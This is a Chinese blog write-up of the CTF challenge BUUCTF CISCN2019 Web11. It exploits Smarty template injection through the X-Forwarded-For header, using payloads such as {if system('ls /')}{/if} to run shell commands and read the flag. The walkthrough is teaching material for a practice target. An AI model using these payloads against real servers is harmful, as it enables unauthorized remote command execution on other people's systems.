
BUUCTF [CISCN2019 华东南赛区华东南赛区] Web11

Senimo_  于 2020-12-23 16:27:19 发布  161  收藏 4
分类专栏： BUUCTF WEB Writeup 文章标签： BUUCTF CISCN2019 华东南赛区 Web11 writeup CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44037296/article/details/110933863
版权

 BUUCTF WEB Writeup 专栏收录该内容
65 篇文章 9 订阅
订阅专栏

BUUCTF [CISCN2019 华东南赛区华东南赛区] Web11

考点：考点：

1. Smarty的XFF注入

2. 全部的PHP条件表达式和函数都可在 {if}中使用
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根据页面提示，应该是一个类似IP查询的网站，根据XFF（（X-Forwarded-For））判断判断
使用使用BurpSuite抓取数据包：

添加请求头： X-Forwarded-For: 127.0.0.1，在Repeater中发送数据包，得到回显：

跟猜想的内容一致，很可能在此处存在注入

访问 /index.php页面，能正常回显，判断其后端语言为PHP，而且其脚注中：

其为PHP模版引擎模版引擎，基本语法：

{$name}变量

{$name[2]}数组

{* 注释 *}注释

{if}{/if}

获取配置变量： {$smarty.config}

返回当前目录名称： {$smarty.current_dir}

测试模版语法能否执行：

X-Forwarded-For: {7*7}



成功执行，然后最主要的是嵌入php脚本
能否在模板中直接嵌入php脚本，取决于 $php_handling的设置，基本语法：

{php}
 include("/path/to/display_weather.php");
{/php}

但在测试时频频报错，后来查阅资料，全部的PHP条件表达式和函数都可在 {if}中使用

首先查看 phpinfo信息，使用BurpSuite抓取数据包，添加请求头信息：

X-Forwarded-For: {if phpinfo()}{/if}

发送数据包后，得到：

已经可以执行php函数，所以尝试用 system()函数执行命令，构造payload：

{if system('ls')}{/if}



发送数据包，得到当前目录下文件内容：

查找flag所在位置：

{if system('ls /')}{/if}



在 /目录下找到flag，使用 cat命令读取：

得到flag
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